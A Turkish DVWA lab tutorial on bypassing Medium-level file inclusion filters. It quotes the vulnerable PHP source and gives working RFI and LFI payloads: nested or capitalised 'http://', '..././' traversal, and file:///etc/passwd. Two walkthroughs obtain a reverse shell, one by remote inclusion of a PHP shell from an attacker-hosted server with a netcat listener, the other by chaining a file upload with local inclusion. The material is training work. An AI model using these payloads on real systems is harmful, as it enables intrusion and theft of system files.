Ders 9 - File Inclusion (Medium Level) | ||||||||||||||
Bu yazıda güvenlik düzeyi Medium seviyesine yükseltilmiş DVWA'ya karşı LFI ve RFI için yapılabilecek güvenlik önlemleri incelenecektir.
Konuya giriş yapmadan önce bu yazının dahil olduğu dvwa eğitim serisindeki tüm makalelere şu adresten bu yazının ilintili olduğu dvwa eğitim serisindeki diğer makalelere ise şu adreslerden erişebilirsiniz. Dersin HedefiLFI ve RFI saldırılarına karşı ne gibi bir önlem alınabileceğini keşfedin.LFI ve RFI'ya Karşı Medium Seviye ÖnlemGeçen ders LFI ve RFI saldırılarında bulunmuştuk. O derste kullandığımız ekranın kaynak kodu şuydu:Low Level: <?php // The page we wish to display $file = $_GET[ 'page' ]; // Include the specified page include($file); ?> Güvenlik Low Level iken görüldüğü üzere page parametresinden gelen dosya adı olduğu gibi include() fonksiyonuna giriyor ve sayfaya dahil ediliyor. page parametresinden gelecek dosya adları konusunda bir denetleme mekanizmasına ihtiyaç vardır. Aksi takdirde dileyen dilediği dosya adını parametreye girebilir ve dilediği dosyayı sayfaya görüntületebilir. Güvenlik seviyesi Medium'a çıkarıldığında kaynak koddaki değişim aşağıdaki gibidir: Medium Level: <?php // The page we wish to display $file = $_GET[ 'page' ]; // Input validation $file = str_replace( array( "http://", "https://" ), "", $file ); $file = str_replace( array( "../", "..\"" ), "", $file ); // Include the specified page include($file); ?> Medium seviyesinin kaynak kodunda yer alan ilk str_replace() fonksiyonu ile page parametresine değer olarak girilen dosya ismindeki http:// ve https:// gibi karakterler varsa silinir. Ardından ikinci str_replace() fonksiyonu ile windows sistemlerde üst dizine çıkmayı sağlayan ..\ karakteri ile linux sistemlerde üst dizine çıkmayı sağlayan ../ karakteri dosya isminden varsa silinir. Böylelikle ilk planda kusursuz görünen güvenlik temin edilmiş olunur. İlk str_replace() ile Remote File Inclusion (RFI) saldırılarına karşı önlem alınmışken, ikinci str_replace() fonksiyonu ile de Local File Inclusion (LFI) saldırılarına karşı önlem alınmıştır. Fakat Medium seviyesinde alınan bu önlemler aşılabilmektedir. http:// ve https:// ‘lerden arındıran ilk str_replace() fonksiyonunu atlatıp yine RFI saldırısında bulunabilmenin yolu şudur: http:// karakterlerinin arasına http:// karakterlerini koymak. Neyi kastettiğimi sanırım aşağıdaki renklendirilmiş linkten daha iyi anlayacaksınız: RFI: localhost/dvwa/vulnerabilities/fi/?page=htthttp://p://zararlibirsite.com/c99.php localhost/dvwa/vulnerabilities/fi/?page=Http://zararlibirsite.com/c99.php Yukarıdaki birinci saldırı kodunu ele alacak olursak Medium Level'daki ilk str_replace() fonksiyonu aldığı page parametresinin değerini tarayacak ve kırmızı renkli karakterleri gördüğü an silecektir. Ardından str_replace() fonksiyonu kaldığı yerden taramaya devam edecektir. Fakat başa sarmayacaktır. Başa sarmadığı için arta kalanların birleşimi sonucu ortaya çıkan http:// karakterlerini fonksiyon yakalayamayacaktır. Böylelikle güvenlik aşılmış olacaktır ve RFI saldırısı gerçekleştirilmiş olacaktır. Yukarıdaki ikinci saldırı kodunu ele alacak olursak Medium level'daki güvenlik önlemi case sensitive (yani büyük küçük harf duyarlı) tanımlandığı için küçük harflerle http:// yazmak yerine büyük harf kullanarak (örn; Http:// yazarak) önlem yine aşılabilecektir. str_replace() fonksiyonu büyük küçük harf duyarlı olmamalıydı. Dolayısıyla RFI saldırısı yine başarılı olacaktır. LFI: localhost/dvwa/vulnerabilities/fi/?page=..././etc/passwd localhost/dvwa/vulnerabilities/fi/?page=file:///etc/passwd Local File Inclusion'a karşı alınmış güvenlik önlemine göre birinci saldırı koduna bakacak olursak ikinci str_replace() fonksiyonu kırmızı karakterleri görecektir ve bu üst dizin karakterlerini silecektir. Kaldığı yerden tarama işlemine devam edecektir. Geride arta kalanlar ise birleştiğinde yine üst dizin karakterini (../) meydana getirecektir. Böylelikle önceki derste bahsedildiği gibi yine kullanıcı adları ve ait oldukları gruplar bilgisine LFI saldırısıyla yine ulaşılabilecektir. İkinci saldırı koduna bakacak olursak file:/// kullanılmış. Bu yerel dosyaların adresi belirtecidir. file:/// güvenlik önleminde yasaklanmadığı için bu da lfi güvenlik önlemini aşmada başarıyla kullanılabilecektir. LFI ve RFI'ya Karşı Medium Seviye Önlemi AtlatmaMedium güvenlik seviyesindeki rfi önlemini atlamak için şu link kullanılabilir.RFI Payload: http://IP/dvwa/vulnerabilities/fi/?page=hthttp://tp://www.includekarabuk.com/kitaplik/indirmeDeposu/rfi_test_saldiri/rfi_denemesi.txt Not: "IP" yazan kısım dvwa web sunucunun ip si ile güncellenmelidir. ![]() Medium güvenlik seviyesindeki rfi önlemini atlamak için ayrıca şu link de kullanılabilir. http://IP/dvwa/vulnerabilities/fi/?page=Http://www.includekarabuk.com/kitaplik/indirmeDeposu/rfi_test_saldiri/rfi_denemesi.txt ![]() Bu payload'da güvenliği atlatmak için içiçe hthttp://tp:// kullanmak yerine büyük harf H (Http://) kullanılmıştır
[!] Uyarı:
Buradaki düzenlenen RFI saldırısı internet bağlantısı gerektirir. Medium güvenlik seviyesindeki lfi önlemini atlamak için şu link kullanılabilir. LFI Payload: http://IP/dvwa/vulnerabilities/fi/?page=..././..././..././..././..././..././..././..././..././..././..././..././..././..././..././..././..././..././etc/passwd Not: "IP" yazan kısım dvwa web sunucunun ip si ile güncellenmelidir. ![]() Medium güvenlik seviyesindeki lfi önlemini atlamak için ayrıca şu link de kullanılabilir. http://IP/dvwa/vulnerabilities/fi/?page=file:///etc/passwd ![]() Ekstra [RFI ile Reverse Shell Alma]Medium güvenlik seviyesinde rfi ile reverse shell alma adımlarına geçelim.Gereksinimler
1. Saldırgan kali linux makinesinde varsayılan olarak /usr/share/webshells/php/php-reverse-shell.php dizininde duran reverse shell script'ini Desktop'a kopyalar. ![]() 2. Saldırgan reverse shell script'i içerisindeki ip (KALI_IP) ve port (1337) bilgilerini günceller. ![]() ![]() 3. Saldırgan ardından dinleme moduna geçer. Terminal #1: nc -nvlp 1337 ![]() 4. Saldırgan reverse shell script'ini rfi ile dvwa sunucusuna enjekte edebilmek için kendi sisteminde web sunucu ayağa kaldırır. Terminal #2: cd /root/Desktop/ python2 -m SimpleHTTPServer 9000 ![]() 5. Saldırgan son olarak rfi saldırısını düzenler. http://DVWA_WEB_SERVER_IP/dvwa/vulnerabilities/fi/?page=hthttp://tp://SALDIRGAN_WEB_SERVER_IP:9000/php-reverse-shell.php veya http://DVWA_WEB_SERVER_IP/dvwa/vulnerabilities/fi/?page=Http://SALDIRGAN_WEB_SERVER_IP:9000/php-reverse-shell.php Not: DVWA_WEB_SERVER_IP (dvwa sunucusu ip'si) ve SALDIRGAN_WEB_SERVER_IP (kali ip'si) kendi sisteminize göre güncellenmelidir. ![]() ![]() ![]() ![]() ![]() Görüldüğü gibi medium güvenlik seviyesinde güvenliği bypass'layıp reverse shell başarıyla almış bulunmaktayız. Ekstra 2 [LFI ile Reverse Shell Alma]Medium güvenlik seviyesinde lfi ile reverse shell alma adımlarına geçelim.Gereksinimler
LFI ile reverse shell alabilmek için lfi saldırısını file upload saldırısı ile birleştirmek şarttır. Şimdi adımlara geçelim. 1. Saldırgan kali linux makinesinde varsayılan olarak /usr/share/webshells/php/php-reverse-shell.php dizininde duran reverse shell script'ini Desktop'a kopyalar. ![]() 2. Saldırgan reverse shell script'i içerisindeki ip (KALI_IP) ve port (1337) bilgilerini günceller. ![]() ![]() 3. Saldırgan reverse shell script'inin uzantısını txt yapar. cd /root/Desktop cp php-reverse-shell.php php-reverse-shell.txt ![]() Böyle yaparız, çünkü lfi saldırısını file upload saldırısı ile birleştireceğiz ve hedef web uygulama file upload mekanizmasının zararsız bir dosya alıyor durumunu simule etmek istiyoruz. txt demek zararsız dosya demektir. 4. Saldırgan dvwa web uygulamanın güvenlik seviyesini low'a çeker. ![]() Bunu yaparız, çünkü hedef web uygulamanın file upload'da uzantı kontrolüne takılmak istemiyoruz. 5. Saldırgan web uygulamadaki bulduğu farklı bir zafiyet yoluyla (bir file upload zafiyeti yoluyla) php-reverse-shell.txt metin belgesini upload'lar. ![]() ![]() 5. Saldırgan dvwa web uygulama güvenlik seviyesini Medium'a çeker. ![]() 6. Saldırgan son olarak lfi saldırısını düzenler. Payload: http://DVWA_WEB_SERVER_IP/dvwa/vulnerabilities/fi/?page=file:///var/www/dvwa/hackable/uploads/php-reverse-shell.txt Not: DVWA_WEB_SERVER_IP yerine sisteminizdeki dvwa web uygulaması ip 'si konulmalıdır. ![]() ![]() |
||||||||||||||
![]() |
||||||||||||||
|
||||||||||||||
Yorumlar |
||||||||||||||
Henüz yorum girilmemiştir. | ||||||||||||||
Yorum Ekle | ||||||||||||||